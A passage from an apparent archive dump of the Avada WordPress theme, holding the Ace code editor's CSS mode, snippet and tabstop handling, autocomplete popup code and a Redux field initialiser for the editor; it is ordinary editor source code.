=== "markbegin") return; var match = line.match(this.foldingStopMarker); if (match) { var i = match.index + match[0].length; if (match[1]) return this.closingBracketBlock(session, match[1], row, i); return session.getCommentFoldRange(row, i, -1); } }; this.getSectionRange = function(session, row) { var line = session.getLine(row); var startIndent = line.search(/\S/); var startRow = row; var startColumn = line.length; row = row + 1; var endRow = row; var maxRow = session.getLength(); while (++row < maxRow) { line = session.getLine(row); var indent = line.search(/\S/); if (indent === -1) continue; if (startIndent > indent) break; var subRange = this.getFoldWidgetRange(session, "all", row); if (subRange) { if (subRange.start.row <= startRow) { break; } else if (subRange.isMultiLine()) { row = subRange.end.row; } else if (startIndent == indent) { break; } } endRow = row; } return new Range(startRow, startColumn, endRow, session.getLine(endRow).length); }; this.getCommentRegionBlock = function(session, line, row) { var startColumn = line.search(/\s*$/); var maxRow = session.getLength(); var startRow = row; var re = /^\s*(?:\/\*|\/\/|--)#?(end)?region\b/; var depth = 1; while (++row < maxRow) { line = session.getLine(row); var m = re.exec(line); if (!m) continue; if (m[1]) depth--; else depth++; if (!depth) break; } var endRow = row; if (endRow > startRow) { return new Range(startRow, startColumn, endRow, line.length); } }; }).call(FoldMode.prototype); }); ace.define("ace/mode/css",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/css_highlight_rules","ace/mode/matching_brace_outdent","ace/worker/worker_client","ace/mode/css_completions","ace/mode/behaviour/css","ace/mode/folding/cstyle"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var CssHighlightRules = require("./css_highlight_rules").CssHighlightRules; var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent; var WorkerClient = require("../worker/worker_client").WorkerClient; var CssCompletions = require("./css_completions").CssCompletions; var CssBehaviour = require("./behaviour/css").CssBehaviour; var CStyleFoldMode = require("./folding/cstyle").FoldMode; var Mode = function() { this.HighlightRules = CssHighlightRules; this.$outdent = new MatchingBraceOutdent(); this.$behaviour = new CssBehaviour(); this.$completer = new CssCompletions(); this.foldingRules = new CStyleFoldMode(); }; oop.inherits(Mode, TextMode); (function() { this.foldingRules = "cStyle"; this.blockComment = {start: "/*", end: "*/"}; this.getNextLineIndent = function(state, line, tab) { var indent = this.$getIndent(line); var tokens = this.getTokenizer().getLineTokens(line, state).tokens; if (tokens.length && tokens[tokens.length-1].type == "comment") { return indent; } var match = line.match(/^.*\{\s*$/); if (match) { indent += tab; } return indent; }; this.checkOutdent = function(state, line, input) { return this.$outdent.checkOutdent(line, input); }; this.autoOutdent = function(state, doc, row) { this.$outdent.autoOutdent(doc, row); }; this.getCompletions = function(state, session, pos, prefix) { return this.$completer.getCompletions(state, session, pos, prefix); }; this.createWorker = function(session) { var worker = new WorkerClient(["ace"], "ace/mode/css_worker", "Worker"); worker.attachToDocument(session.getDocument()); worker.on("annotate", function(e) { session.setAnnotations(e.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/css"; }).call(Mode.prototype); exports.Mode = Mode; }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/field_ace_editor.min.js000064400000002101152342437700023272 0ustar00!function(a){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.ace_editor=fusionredux.field_objects.ace_editor||{},fusionredux.field_objects.ace_editor.init=function(b){b||(b=a(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-ace_editor:visible")),a(b).each(function(){var b=a(this),c=b;b.hasClass("fusionredux-field-container")||(c=b.parents(".fusionredux-field-container:first")),c.is(":hidden")||c.hasClass("fusionredux-field-init")&&(c.removeClass("fusionredux-field-init"),b.find(".ace-editor").each(function(c,d){var e=d,f=JSON.parse(a(this).parent().find(".localize_data").val()),g=a(d).attr("data-editor"),h=ace.edit(g);h.setTheme("ace/theme/"+jQuery(d).attr("data-theme")),h.getSession().setMode("ace/mode/"+a(d).attr("data-mode"));var i="";i=b.hasClass("fusionredux-field-container")?b.attr("data-id"):b.parents(".fusionredux-field-container:first").attr("data-id"),h.setOptions(f),h.on("change",function(b){a("#"+e.id).val(h.getSession().getValue()),fusionredux_change(a(d)),h.resize()})}))})}}(jQuery); Avada/includes/lib/inc/redux/custom-fields/ace_editor/ext-language_tools.js000064400000203701152342437700023061 0ustar00ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var EventEmitter = require("./lib/event_emitter").EventEmitter; var lang = require("./lib/lang"); var Range = require("./range").Range; var Anchor = require("./anchor").Anchor; var HashHandler = require("./keyboard/hash_handler").HashHandler; var Tokenizer = require("./tokenizer").Tokenizer; var comparePoints = Range.comparePoints; var SnippetManager = function() { this.snippetMap = {}; this.snippetNameMap = {}; }; (function() { oop.implement(this, EventEmitter); this.getTokenizer = function() { function TabstopToken(str, _, stack) { str = str.substr(1); if (/^\d+$/.test(str) && !stack.inFormatString) return [{tabstopId: parseInt(str, 10)}]; return [{text: str}]; } function escape(ch) { return "(?:[^\\\\" + ch + "]|\\\\.)"; } SnippetManager.$tokenizer = new Tokenizer({ start: [ {regex: /:/, onMatch: function(val, state, stack) { if (stack.length && stack[0].expectIf) { stack[0].expectIf = false; stack[0].elseBranch = stack[0]; return [stack[0]]; } return ":"; }}, {regex: /\\./, onMatch: function(val, state, stack) { var ch = val[1]; if (ch == "}" && stack.length) { val = ch; }else if ("`$\\".indexOf(ch) != -1) { val = ch; } else if (stack.inFormatString) { if (ch == "n") val = "\n"; else if (ch == "t") val = "\n"; else if ("ulULE".indexOf(ch) != -1) { val = {changeCase: ch, local: ch > "a"}; } } return [val]; }}, {regex: /}/, onMatch: function(val, state, stack) { return [stack.length ? stack.shift() : val]; }}, {regex: /\$(?:\d+|\w+)/, onMatch: TabstopToken}, {regex: /\$\{[\dA-Z_a-z]+/, onMatch: function(str, state, stack) { var t = TabstopToken(str.substr(1), state, stack); stack.unshift(t[0]); return t; }, next: "snippetVar"}, {regex: /\n/, token: "newline", merge: false} ], snippetVar: [ {regex: "\\|" + escape("\\|") + "*\\|", onMatch: function(val, state, stack) { stack[0].choices = val.slice(1, -1).split(","); }, next: "start"}, {regex: "/(" + escape("/") + "+)/(?:(" + escape("/") + "*)/)(\\w*):?", onMatch: function(val, state, stack) { var ts = stack[0]; ts.fmtString = val; val = this.splitRegex.exec(val); ts.guard = val[1]; ts.fmt = val[2]; ts.flag = val[3]; return ""; }, next: "start"}, {regex: "`" + escape("`") + "*`", onMatch: function(val, state, stack) { stack[0].code = val.splice(1, -1); return ""; }, next: "start"}, {regex: "\\?", onMatch: function(val, state, stack) { if (stack[0]) stack[0].expectIf = true; }, next: "start"}, {regex: "([^:}\\\\]|\\\\.)*:?", token: "", next: "start"} ], formatString: [ {regex: "/(" + escape("/") + "+)/", token: "regex"}, {regex: "", onMatch: function(val, state, stack) { stack.inFormatString = true; }, next: "start"} ] }); SnippetManager.prototype.getTokenizer = function() { return SnippetManager.$tokenizer; }; return SnippetManager.$tokenizer; }; this.tokenizeTmSnippet = function(str, startState) { return this.getTokenizer().getLineTokens(str, startState).tokens.map(function(x) { return x.value || x; }); }; this.$getDefaultValue = function(editor, name) { if (/^[A-Z]\d+$/.test(name)) { var i = name.substr(1); return (this.variables[name[0] + "__"] || {})[i]; } if (/^\d+$/.test(name)) { return (this.variables.__ || {})[name]; } name = name.replace(/^TM_/, ""); if (!editor) return; var s = editor.session; switch(name) { case "CURRENT_WORD": var r = s.getWordRange(); case "SELECTION": case "SELECTED_TEXT": return s.getTextRange(r); case "CURRENT_LINE": return s.getLine(editor.getCursorPosition().row); case "PREV_LINE": // not possible in textmate return s.getLine(editor.getCursorPosition().row - 1); case "LINE_INDEX": return editor.getCursorPosition().column; case "LINE_NUMBER": return editor.getCursorPosition().row + 1; case "SOFT_TABS": return s.getUseSoftTabs() ? "YES" : "NO"; case "TAB_SIZE": return s.getTabSize(); case "FILENAME": case "FILEPATH": return ""; case "FULLNAME": return "Ace"; } }; this.variables = {}; this.getVariableValue = function(editor, varName) { if (this.variables.hasOwnProperty(varName)) return this.variables[varName](editor, varName) || ""; return this.$getDefaultValue(editor, varName) || ""; }; this.tmStrFormat = function(str, ch, editor) { var flag = ch.flag || ""; var re = ch.guard; re = new RegExp(re, flag.replace(/[^gi]/, "")); var fmtTokens = this.tokenizeTmSnippet(ch.fmt, "formatString"); var _self = this; var formatted = str.replace(re, function() { _self.variables.__ = arguments; var fmtParts = _self.resolveVariables(fmtTokens, editor); var gChangeCase = "E"; for (var i = 0; i < fmtParts.length; i++) { var ch = fmtParts[i]; if (typeof ch == "object") { fmtParts[i] = ""; if (ch.changeCase && ch.local) { var next = fmtParts[i + 1]; if (next && typeof next == "string") { if (ch.changeCase == "u") fmtParts[i] = next[0].toUpperCase(); else fmtParts[i] = next[0].toLowerCase(); fmtParts[i + 1] = next.substr(1); } } else if (ch.changeCase) { gChangeCase = ch.changeCase; } } else if (gChangeCase == "U") { fmtParts[i] = ch.toUpperCase(); } else if (gChangeCase == "L") { fmtParts[i] = ch.toLowerCase(); } } return fmtParts.join(""); }); this.variables.__ = null; return formatted; }; this.resolveVariables = function(snippet, editor) { var result = []; for (var i = 0; i < snippet.length; i++) { var ch = snippet[i]; if (typeof ch == "string") { result.push(ch); } else if (typeof ch != "object") { continue; } else if (ch.skip) { gotoNext(ch); } else if (ch.processed < i) { continue; } else if (ch.text) { var value = this.getVariableValue(editor, ch.text); if (value && ch.fmtString) value = this.tmStrFormat(value, ch); ch.processed = i; if (ch.expectIf == null) { if (value) { result.push(value); gotoNext(ch); } } else { if (value) { ch.skip = ch.elseBranch; } else gotoNext(ch); } } else if (ch.tabstopId != null) { result.push(ch); } else if (ch.changeCase != null) { result.push(ch); } } function gotoNext(ch) { var i1 = snippet.indexOf(ch, i + 1); if (i1 != -1) i = i1; } return result; }; this.insertSnippetForSelection = function(editor, snippetText) { var cursor = editor.getCursorPosition(); var line = editor.session.getLine(cursor.row); var tabString = editor.session.getTabString(); var indentString = line.match(/^\s*/)[0]; if (cursor.column < indentString.length) indentString = indentString.slice(0, cursor.column); var tokens = this.tokenizeTmSnippet(snippetText); tokens = this.resolveVariables(tokens, editor); tokens = tokens.map(function(x) { if (x == "\n") return x + indentString; if (typeof x == "string") return x.replace(/\t/g, tabString); return x; }); var tabstops = []; tokens.forEach(function(p, i) { if (typeof p != "object") return; var id = p.tabstopId; var ts = tabstops[id]; if (!ts) { ts = tabstops[id] = []; ts.index = id; ts.value = ""; } if (ts.indexOf(p) !== -1) return; ts.push(p); var i1 = tokens.indexOf(p, i + 1); if (i1 === -1) return; var value = tokens.slice(i + 1, i1); var isNested = value.some(function(t) {return typeof t === "object"}); if (isNested && !ts.value) { ts.value = value; } else if (value.length && (!ts.value || typeof ts.value !== "string")) { ts.value = value.join(""); } }); tabstops.forEach(function(ts) {ts.length = 0}); var expanding = {}; function copyValue(val) { var copy = []; for (var i = 0; i < val.length; i++) { var p = val[i]; if (typeof p == "object") { if (expanding[p.tabstopId]) continue; var j = val.lastIndexOf(p, i - 1); p = copy[j] || {tabstopId: p.tabstopId}; } copy[i] = p; } return copy; } for (var i = 0; i < tokens.length; i++) { var p = tokens[i]; if (typeof p != "object") continue; var id = p.tabstopId; var i1 = tokens.indexOf(p, i + 1); if (expanding[id]) { if (expanding[id] === p) expanding[id] = null; continue; } var ts = tabstops[id]; var arg = typeof ts.value == "string" ? [ts.value] : copyValue(ts.value); arg.unshift(i + 1, Math.max(0, i1 - i)); arg.push(p); expanding[id] = p; tokens.splice.apply(tokens, arg); if (ts.indexOf(p) === -1) ts.push(p); } var row = 0, column = 0; var text = ""; tokens.forEach(function(t) { if (typeof t === "string") { if (t[0] === "\n"){ column = t.length - 1; row ++; } else column += t.length; text += t; } else { if (!t.start) t.start = {row: row, column: column}; else t.end = {row: row, column: column}; } }); var range = editor.getSelectionRange(); var end = editor.session.replace(range, text); var tabstopManager = new TabstopManager(editor); var selectionId = editor.inVirtualSelectionMode && editor.selection.index; tabstopManager.addTabstops(tabstops, range.start, end, selectionId); }; this.insertSnippet = function(editor, snippetText) { var self = this; if (editor.inVirtualSelectionMode) return self.insertSnippetForSelection(editor, snippetText); editor.forEachSelection(function() { self.insertSnippetForSelection(editor, snippetText); }, null, {keepOrder: true}); if (editor.tabstopManager) editor.tabstopManager.tabNext(); }; this.$getScope = function(editor) { var scope = editor.session.$mode.$id || ""; scope = scope.split("/").pop(); if (scope === "html" || scope === "php") { if (scope === "php" && !editor.session.$mode.inlinePhp) scope = "html"; var c = editor.getCursorPosition(); var state = editor.session.getState(c.row); if (typeof state === "object") { state = state[0]; } if (state.substring) { if (state.substring(0, 3) == "js-") scope = "javascript"; else if (state.substring(0, 4) == "css-") scope = "css"; else if (state.substring(0, 4) == "php-") scope = "php"; } } return scope; }; this.getActiveScopes = function(editor) { var scope = this.$getScope(editor); var scopes = [scope]; var snippetMap = this.snippetMap; if (snippetMap[scope] && snippetMap[scope].includeScopes) { scopes.push.apply(scopes, snippetMap[scope].includeScopes); } scopes.push("_"); return scopes; }; this.expandWithTab = function(editor, options) { var self = this; var result = editor.forEachSelection(function() { return self.expandSnippetForSelection(editor, options); }, null, {keepOrder: true}); if (result && editor.tabstopManager) editor.tabstopManager.tabNext(); return result; }; this.expandSnippetForSelection = function(editor, options) { var cursor = editor.getCursorPosition(); var line = editor.session.getLine(cursor.row); var before = line.substring(0, cursor.column); var after = line.substr(cursor.column); var snippetMap = this.snippetMap; var snippet; this.getActiveScopes(editor).some(function(scope) { var snippets = snippetMap[scope]; if (snippets) snippet = this.findMatchingSnippet(snippets, before, after); return !!snippet; }, this); if (!snippet) return false; if (options && options.dryRun) return true; editor.session.doc.removeInLine(cursor.row, cursor.column - snippet.replaceBefore.length, cursor.column + snippet.replaceAfter.length ); this.variables.M__ = snippet.matchBefore; this.variables.T__ = snippet.matchAfter; this.insertSnippetForSelection(editor, snippet.content); this.variables.M__ = this.variables.T__ = null; return true; }; this.findMatchingSnippet = function(snippetList, before, after) { for (var i = snippetList.length; i--;) { var s = snippetList[i]; if (s.startRe && !s.startRe.test(before)) continue; if (s.endRe && !s.endRe.test(after)) continue; if (!s.startRe && !s.endRe) continue; s.matchBefore = s.startRe ? s.startRe.exec(before) : [""]; s.matchAfter = s.endRe ? s.endRe.exec(after) : [""]; s.replaceBefore = s.triggerRe ? s.triggerRe.exec(before)[0] : ""; s.replaceAfter = s.endTriggerRe ? s.endTriggerRe.exec(after)[0] : ""; return s; } }; this.snippetMap = {}; this.snippetNameMap = {}; this.register = function(snippets, scope) { var snippetMap = this.snippetMap; var snippetNameMap = this.snippetNameMap; var self = this; if (!snippets) snippets = []; function wrapRegexp(src) { if (src && !/^\^?\(.*\)\$?$|^\\b$/.test(src)) src = "(?:" + src + ")"; return src || ""; } function guardedRegexp(re, guard, opening) { re = wrapRegexp(re); guard = wrapRegexp(guard); if (opening) { re = guard + re; if (re && re[re.length - 1] != "$") re = re + "$"; } else { re = re + guard; if (re && re[0] != "^") re = "^" + re; } return new RegExp(re); } function addSnippet(s) { if (!s.scope) s.scope = scope || "_"; scope = s.scope; if (!snippetMap[scope]) { snippetMap[scope] = []; snippetNameMap[scope] = {}; } var map = snippetNameMap[scope]; if (s.name) { var old = map[s.name]; if (old) self.unregister(old); map[s.name] = s; } snippetMap[scope].push(s); if (s.tabTrigger && !s.trigger) { if (!s.guard && /^\w/.test(s.tabTrigger)) s.guard = "\\b"; s.trigger = lang.escapeRegExp(s.tabTrigger); } if (!s.trigger && !s.guard && !s.endTrigger && !s.endGuard) return; s.startRe = guardedRegexp(s.trigger, s.guard, true); s.triggerRe = new RegExp(s.trigger, "", true); s.endRe = guardedRegexp(s.endTrigger, s.endGuard, true); s.endTriggerRe = new RegExp(s.endTrigger, "", true); } if (snippets && snippets.content) addSnippet(snippets); else if (Array.isArray(snippets)) snippets.forEach(addSnippet); this._signal("registerSnippets", {scope: scope}); }; this.unregister = function(snippets, scope) { var snippetMap = this.snippetMap; var snippetNameMap = this.snippetNameMap; function removeSnippet(s) { var nameMap = snippetNameMap[s.scope||scope]; if (nameMap && nameMap[s.name]) { delete nameMap[s.name]; var map = snippetMap[s.scope||scope]; var i = map && map.indexOf(s); if (i >= 0) map.splice(i, 1); } } if (snippets.content) removeSnippet(snippets); else if (Array.isArray(snippets)) snippets.forEach(removeSnippet); }; this.parseSnippetFile = function(str) { str = str.replace(/\r/g, ""); var list = [], snippet = {}; var re = /^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm; var m; while (m = re.exec(str)) { if (m[1]) { try { snippet = JSON.parse(m[1]); list.push(snippet); } catch (e) {} } if (m[4]) { snippet.content = m[4].replace(/^\t/gm, ""); list.push(snippet); snippet = {}; } else { var key = m[2], val = m[3]; if (key == "regex") { var guardRe = /\/((?:[^\/\\]|\\.)*)|$/g; snippet.guard = guardRe.exec(val)[1]; snippet.trigger = guardRe.exec(val)[1]; snippet.endTrigger = guardRe.exec(val)[1]; snippet.endGuard = guardRe.exec(val)[1]; } else if (key == "snippet") { snippet.tabTrigger = val.match(/^\S*/)[0]; if (!snippet.name) snippet.name = val; } else { snippet[key] = val; } } } return list; }; this.getSnippetByName = function(name, editor) { var snippetMap = this.snippetNameMap; var snippet; this.getActiveScopes(editor).some(function(scope) { var snippets = snippetMap[scope]; if (snippets) snippet = snippets[name]; return !!snippet; }, this); return snippet; }; }).call(SnippetManager.prototype); var TabstopManager = function(editor) { if (editor.tabstopManager) return editor.tabstopManager; editor.tabstopManager = this; this.$onChange = this.onChange.bind(this); this.$onChangeSelection = lang.delayedCall(this.onChangeSelection.bind(this)).schedule; this.$onChangeSession = this.onChangeSession.bind(this); this.$onAfterExec = this.onAfterExec.bind(this); this.attach(editor); }; (function() { this.attach = function(editor) { this.index = 0; this.ranges = []; this.tabstops = []; this.$openTabstops = null; this.selectedTabstop = null; this.editor = editor; this.editor.on("change", this.$onChange); this.editor.on("changeSelection", this.$onChangeSelection); this.editor.on("changeSession", this.$onChangeSession); this.editor.commands.on("afterExec", this.$onAfterExec); this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler); }; this.detach = function() { this.tabstops.forEach(this.removeTabstopMarkers, this); this.ranges = null; this.tabstops = null; this.selectedTabstop = null; this.editor.removeListener("change", this.$onChange); this.editor.removeListener("changeSelection", this.$onChangeSelection); this.editor.removeListener("changeSession", this.$onChangeSession); this.editor.commands.removeListener("afterExec", this.$onAfterExec); this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler); this.editor.tabstopManager = null; this.editor = null; }; this.onChange = function(delta) { var changeRange = delta; var isRemove = delta.action[0] == "r"; var start = delta.start; var end = delta.end; var startRow = start.row; var endRow = end.row; var lineDif = endRow - startRow; var colDiff = end.column - start.column; if (isRemove) { lineDif = -lineDif; colDiff = -colDiff; } if (!this.$inChange && isRemove) { var ts = this.selectedTabstop; var changedOutside = ts && !ts.some(function(r) { return comparePoints(r.start, start) <= 0 && comparePoints(r.end, end) >= 0; }); if (changedOutside) return this.detach(); } var ranges = this.ranges; for (var i = 0; i < ranges.length; i++) { var r = ranges[i]; if (r.end.row < start.row) continue; if (isRemove && comparePoints(start, r.start) < 0 && comparePoints(end, r.end) > 0) { this.removeRange(r); i--; continue; } if (r.start.row == startRow && r.start.column > start.column) r.start.column += colDiff; if (r.end.row == startRow && r.end.column >= start.column) r.end.column += colDiff; if (r.start.row >= startRow) r.start.row += lineDif; if (r.end.row >= startRow) r.end.row += lineDif; if (comparePoints(r.start, r.end) > 0) this.removeRange(r); } if (!ranges.length) this.detach(); }; this.updateLinkedFields = function() { var ts = this.selectedTabstop; if (!ts || !ts.hasLinkedRanges) return; this.$inChange = true; var session = this.editor.session; var text = session.getTextRange(ts.firstNonLinked); for (var i = ts.length; i--;) { var range = ts[i]; if (!range.linked) continue; var fmt = exports.snippetManager.tmStrFormat(text, range.original); session.replace(range, fmt); } this.$inChange = false; }; this.onAfterExec = function(e) { if (e.command && !e.command.readOnly) this.updateLinkedFields(); }; this.onChangeSelection = function() { if (!this.editor) return; var lead = this.editor.selection.lead; var anchor = this.editor.selection.anchor; var isEmpty = this.editor.selection.isEmpty(); for (var i = this.ranges.length; i--;) { if (this.ranges[i].linked) continue; var containsLead = this.ranges[i].contains(lead.row, lead.column); var containsAnchor = isEmpty || this.ranges[i].contains(anchor.row, anchor.column); if (containsLead && containsAnchor) return; } this.detach(); }; this.onChangeSession = function() { this.detach(); }; this.tabNext = function(dir) { var max = this.tabstops.length; var index = this.index + (dir || 1); index = Math.min(Math.max(index, 1), max); if (index == max) index = 0; this.selectTabstop(index); if (index === 0) this.detach(); }; this.selectTabstop = function(index) { this.$openTabstops = null; var ts = this.tabstops[this.index]; if (ts) this.addTabstopMarkers(ts); this.index = index; ts = this.tabstops[this.index]; if (!ts || !ts.length) return; this.selectedTabstop = ts; if (!this.editor.inVirtualSelectionMode) { var sel = this.editor.multiSelect; sel.toSingleRange(ts.firstNonLinked.clone()); for (var i = ts.length; i--;) { if (ts.hasLinkedRanges && ts[i].linked) continue; sel.addRange(ts[i].clone(), true); } if (sel.ranges[0]) sel.addRange(sel.ranges[0].clone()); } else { this.editor.selection.setRange(ts.firstNonLinked); } this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler); }; this.addTabstops = function(tabstops, start, end) { if (!this.$openTabstops) this.$openTabstops = []; if (!tabstops[0]) { var p = Range.fromPoints(end, end); moveRelative(p.start, start); moveRelative(p.end, start); tabstops[0] = [p]; tabstops[0].index = 0; } var i = this.index; var arg = [i + 1, 0]; var ranges = this.ranges; tabstops.forEach(function(ts, index) { var dest = this.$openTabstops[index] || ts; for (var i = ts.length; i--;) { var p = ts[i]; var range = Range.fromPoints(p.start, p.end || p.start); movePoint(range.start, start); movePoint(range.end, start); range.original = p; range.tabstop = dest; ranges.push(range); if (dest != ts) dest.unshift(range); else dest[i] = range; if (p.fmtString) { range.linked = true; dest.hasLinkedRanges = true; } else if (!dest.firstNonLinked) dest.firstNonLinked = range; } if (!dest.firstNonLinked) dest.hasLinkedRanges = false; if (dest === ts) { arg.push(dest); this.$openTabstops[index] = dest; } this.addTabstopMarkers(dest); }, this); if (arg.length > 2) { if (this.tabstops.length) arg.push(arg.splice(2, 1)[0]); this.tabstops.splice.apply(this.tabstops, arg); } }; this.addTabstopMarkers = function(ts) { var session = this.editor.session; ts.forEach(function(range) { if (!range.markerId) range.markerId = session.addMarker(range, "ace_snippet-marker", "text"); }); }; this.removeTabstopMarkers = function(ts) { var session = this.editor.session; ts.forEach(function(range) { session.removeMarker(range.markerId); range.markerId = null; }); }; this.removeRange = function(range) { var i = range.tabstop.indexOf(range); range.tabstop.splice(i, 1); i = this.ranges.indexOf(range); this.ranges.splice(i, 1); this.editor.session.removeMarker(range.markerId); if (!range.tabstop.length) { i = this.tabstops.indexOf(range.tabstop); if (i != -1) this.tabstops.splice(i, 1); if (!this.tabstops.length) this.detach(); } }; this.keyboardHandler = new HashHandler(); this.keyboardHandler.bindKeys({ "Tab": function(ed) { if (exports.snippetManager && exports.snippetManager.expandWithTab(ed)) { return; } ed.tabstopManager.tabNext(1); }, "Shift-Tab": function(ed) { ed.tabstopManager.tabNext(-1); }, "Esc": function(ed) { ed.tabstopManager.detach(); }, "Return": function(ed) { return false; } }); }).call(TabstopManager.prototype); var changeTracker = {}; changeTracker.onChange = Anchor.prototype.onChange; changeTracker.setPosition = function(row, column) { this.pos.row = row; this.pos.column = column; }; changeTracker.update = function(pos, delta, $insertRight) { this.$insertRight = $insertRight; this.pos = pos; this.onChange(delta); }; var movePoint = function(point, diff) { if (point.row == 0) point.column += diff.column; point.row += diff.row; }; var moveRelative = function(point, start) { if (point.row == start.row) point.column -= start.column; point.row -= start.row; }; require("./lib/dom").importCssString("\ .ace_snippet-marker {\ -moz-box-sizing: border-box;\ box-sizing: border-box;\ background: rgba(194, 193, 208, 0.09);\ border: 1px dotted rgba(211, 208, 235, 0.62);\ position: absolute;\ }"); exports.snippetManager = new SnippetManager(); var Editor = require("./editor").Editor; (function() { this.insertSnippet = function(content, options) { return exports.snippetManager.insertSnippet(this, content, options); }; this.expandSnippet = function(options) { return exports.snippetManager.expandWithTab(this, options); }; }).call(Editor.prototype); }); ace.define("ace/autocomplete/popup",["require","exports","module","ace/virtual_renderer","ace/editor","ace/range","ace/lib/event","ace/lib/lang","ace/lib/dom"], function(require, exports, module) { "use strict"; var Renderer = require("../virtual_renderer").VirtualRenderer; var Editor = require("../editor").Editor; var Range = require("../range").Range; var event = require("../lib/event"); var lang = require("../lib/lang"); var dom = require("../lib/dom"); var $singleLineEditor = function(el) { var renderer = new Renderer(el); renderer.$maxLines = 4; var editor = new Editor(renderer); editor.setHighlightActiveLine(false); editor.setShowPrintMargin(false); editor.renderer.setShowGutter(false); editor.renderer.setHighlightGutterLine(false); editor.$mouseHandler.$focusWaitTimout = 0; editor.$highlightTagPending = true; return editor; }; var AcePopup = function(parentNode) { var el = dom.createElement("div"); var popup = new $singleLineEditor(el); if (parentNode) parentNode.appendChild(el); el.style.display = "none"; popup.renderer.content.style.cursor = "default"; popup.renderer.setStyle("ace_autocomplete"); popup.setOption("displayIndentGuides", false); popup.setOption("dragDelay", 150); var noop = function(){}; popup.focus = noop; popup.$isFocused = true; popup.renderer.$cursorLayer.restartTimer = noop; popup.renderer.$cursorLayer.element.style.opacity = 0; popup.renderer.$maxLines = 8; popup.renderer.$keepTextAreaAtCursor = false; popup.setHighlightActiveLine(false); popup.session.highlight(""); popup.session.$searchHighlight.clazz = "ace_highlight-marker"; popup.on("mousedown", function(e) { var pos = e.getDocumentPosition(); popup.selection.moveToPosition(pos); selectionMarker.start.row = selectionMarker.end.row = pos.row; e.stop(); }); var lastMouseEvent; var hoverMarker = new Range(-1,0,-1,Infinity); var selectionMarker = new Range(-1,0,-1,Infinity); selectionMarker.id = popup.session.addMarker(selectionMarker, "ace_active-line", "fullLine"); popup.setSelectOnHover = function(val) { if (!val) { hoverMarker.id = popup.session.addMarker(hoverMarker, "ace_line-hover", "fullLine"); } else if (hoverMarker.id) { popup.session.removeMarker(hoverMarker.id); hoverMarker.id = null; } }; popup.setSelectOnHover(false); popup.on("mousemove", function(e) { if (!lastMouseEvent) { lastMouseEvent = e; return; } if (lastMouseEvent.x == e.x && lastMouseEvent.y == e.y) { return; } lastMouseEvent = e; lastMouseEvent.scrollTop = popup.renderer.scrollTop; var row = lastMouseEvent.getDocumentPosition().row; if (hoverMarker.start.row != row) { if (!hoverMarker.id) popup.setRow(row); setHoverMarker(row); } }); popup.renderer.on("beforeRender", function() { if (lastMouseEvent && hoverMarker.start.row != -1) { lastMouseEvent.$pos = null; var row = lastMouseEvent.getDocumentPosition().row; if (!hoverMarker.id) popup.setRow(row); setHoverMarker(row, true); } }); popup.renderer.on("afterRender", function() { var row = popup.getRow(); var t = popup.renderer.$textLayer; var selected = t.element.childNodes[row - t.config.firstRow]; if (selected == t.selectedNode) return; if (t.selectedNode) dom.removeCssClass(t.selectedNode, "ace_selected"); t.selectedNode = selected; if (selected) dom.addCssClass(selected, "ace_selected"); }); var hideHoverMarker = function() { setHoverMarker(-1) }; var setHoverMarker = function(row, suppressRedraw) { if (row !== hoverMarker.start.row) { hoverMarker.start.row = hoverMarker.end.row = row; if (!suppressRedraw) popup.session._emit("changeBackMarker"); popup._emit("changeHoverMarker"); } }; popup.getHoveredRow = function() { return hoverMarker.start.row; }; event.addListener(popup.container, "mouseout", hideHoverMarker); popup.on("hide", hideHoverMarker); popup.on("changeSelection", hideHoverMarker); popup.session.doc.getLength = function() { return popup.data.length; }; popup.session.doc.getLine = function(i) { var data = popup.data[i]; if (typeof data == "string") return data; return (data && data.value) || ""; }; var bgTokenizer = popup.session.bgTokenizer; bgTokenizer.$tokenizeRow = function(row) { var data = popup.data[row]; var tokens = []; if (!data) return tokens; if (typeof data == "string") data = {value: data}; if (!data.caption) data.caption = data.value || data.name; var last = -1; var flag, c; for (var i = 0; i < data.caption.length; i++) { c = data.caption[i]; flag = data.matchMask & (1 << i) ? 1 : 0; if (last !== flag) { tokens.push({type: data.className || "" + ( flag ? "completion-highlight" : ""), value: c}); last = flag; } else { tokens[tokens.length - 1].value += c; } } if (data.meta) { var maxW = popup.renderer.$size.scrollerWidth / popup.renderer.layerConfig.characterWidth; var metaData = data.meta; if (metaData.length + data.caption.length > maxW - 2) { metaData = metaData.substr(0, maxW - data.caption.length - 3) + "\u2026" } tokens.push({type: "rightAlignedText", value: metaData}); } return tokens; }; bgTokenizer.$updateOnChange = noop; bgTokenizer.start = noop; popup.session.$computeWidth = function() { return this.screenWidth = 0; }; popup.$blockScrolling = Infinity; popup.isOpen = false; popup.isTopdown = false; popup.data = []; popup.setData = function(list) { popup.setValue(lang.stringRepeat("\n", list.length), -1); popup.data = list || []; popup.setRow(0); }; popup.getData = function(row) { return popup.data[row]; }; popup.getRow = function() { return selectionMarker.start.row; }; popup.setRow = function(line) { line = Math.max(0, Math.min(this.data.length, line)); if (selectionMarker.start.row != line) { popup.selection.clearSelection(); selectionMarker.start.row = selectionMarker.end.row = line || 0; popup.session._emit("changeBackMarker"); popup.moveCursorTo(line || 0, 0); if (popup.isOpen) popup._signal("select"); } }; popup.on("changeSelection", function() { if (popup.isOpen) popup.setRow(popup.selection.lead.row); popup.renderer.scrollCursorIntoView(); }); popup.hide = function() { this.container.style.display = "none"; this._signal("hide"); popup.isOpen = false; }; popup.show = function(pos, lineHeight, topdownOnly) { var el = this.container; var screenHeight = window.innerHeight; var screenWidth = window.innerWidth; var renderer = this.renderer; var maxH = 